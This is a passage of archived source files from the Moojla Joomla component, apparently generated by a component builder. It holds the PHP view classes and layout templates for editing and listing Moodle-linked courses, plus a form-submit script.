'.JText::_('COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL').'
-',
'batch[contents_module_id]',
JHtml::_('select.options',
$this->contents_module_idOptions, 'value', 'text')
);
}
// Only load Mimetype batch if create, edit, and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Mimetype Selection
$this->mimetypeOptions =
JFormHelper::loadFieldType('contentsfiltermimetype')->options;
// We do some sanitation for Mimetype filter
if (MoojlaHelper::checkArray($this->mimetypeOptions) &&
isset($this->mimetypeOptions[0]->value) &&
!MoojlaHelper::checkString($this->mimetypeOptions[0]->value))
{
unset($this->mimetypeOptions[0]);
}
// Mimetype Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_CONTENT_MIMETYPE_LABEL').'
-',
'batch[mimetype]',
JHtml::_('select.options', $this->mimetypeOptions,
'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_CONTENTS'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/contents.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.contents_module_id' =>
JText::_('COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/course/submitbutton.js000064400000002743151165724410012312
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('course, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/course/tmpl/edit.php000064400000014357151165724410011633
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<?php echo JLayoutHelper::render('course.details_above',
$this); ?>
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'courseTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'details',
JText::_('COM_MOOJLA_COURSE_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('course.details_left',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('course.details_right',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'templates',
JText::_('COM_MOOJLA_COURSE_TEMPLATES', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('course.templates_left',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('course.templates_right',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'moodle_access',
JText::_('COM_MOOJLA_COURSE_MOODLE_ACCESS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('course.moodle_access_left', $this); ?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('course.moodle_access_right', $this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'video',
JText::_('COM_MOOJLA_COURSE_VIDEO', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<?php echo JLayoutHelper::render('course.video_left',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'audio',
JText::_('COM_MOOJLA_COURSE_AUDIO', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<?php echo JLayoutHelper::render('course.audio_left',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'courseTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('course.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'publishing',
JText::_('COM_MOOJLA_COURSE_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('course.publishing',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('course.metadata',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'permissions',
JText::_('COM_MOOJLA_COURSE_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="course.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/course/tmpl/index.html000064400000000054151165724410012157
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course/view.html.php000064400000015354151165724410011645
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Course View class
*/
class MoojlaViewCourse extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('course',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_COURSE_NEW' : 'COM_MOOJLA_COURSE_EDIT'),
'pencil-2 article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('course.create') &&
$isNew)
{
// We can create the record.
JToolBarHelper::save('course.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('course.edit'))
{
// We can save the record.
JToolBarHelper::save('course.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('course.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('course.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('course.create'))
{
JToolBarHelper::apply('course.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('course.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('course.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('course.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('course.edit'))
{
// We can save the new record
JToolBarHelper::apply('course.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('course.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('course.create'))
{
JToolBarHelper::custom('course.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('course.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('course.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.course',
$this->item->id);
}
if ($this->canDo->get('course.create'))
{
JToolBarHelper::custom('course.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('course.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('course');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_COURSE_NEW' : 'COM_MOOJLA_COURSE_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
// Add Ajax Token
$this->document->addScriptDeclaration("var token =
'".JSession::getFormToken()."';");
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/course/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/courses/index.html000064400000000054151165724410011366
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/courses/tmpl/default.php000064400000005770151165724410012514
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', '.multipleCategories',
null, array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_COURSES_CATEGORIES') . '
-'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=courses.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'courseList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=courses');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="courseList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_COURSES_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/courses/tmpl/default_batch_body.php000064400000002332151165724410014661
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo JText::_('COM_MOOJLA_COURSES_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/courses/tmpl/default_batch_footer.php000064400000002730151165724410015224
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('course.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/courses/tmpl/default_body.php000064400000010152151165724410013517
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=courses&task=course.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('course',$item,'courses');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('course.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div>
<?php if ($canDo->get('course.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->shortname); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'courses.',
$canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->shortname); ?>
<?php endif; ?><br />moodle price:
<?php echo $this->escape($item->cost); ?><br />moodle
course id:
<?php echo $this->escape($item->remoteid); ?>
<!-- [1040]=> shortname; [1035]=> cost; [1042]=> remoteid
-->
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->fullname); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->category_title); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'courses.', true, 'cb'); ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'courses.', false, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'courses.', true, 'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'courses.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/courses/tmpl/default_foot.php000064400000002304151165724410013531
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/courses/tmpl/default_head.php000064400000005217151165724410013471
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_SHORTNAME_LABEL', 'a.shortname',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_FULLNAME_LABEL', 'a.fullname',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_COURSES_CATEGORIES',
'category_title', $this->listDirn, $this->listOrder); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_COURSE_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
</th>
</tr>views/courses/tmpl/default_toolbar.php000064400000007052151165724410014231
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
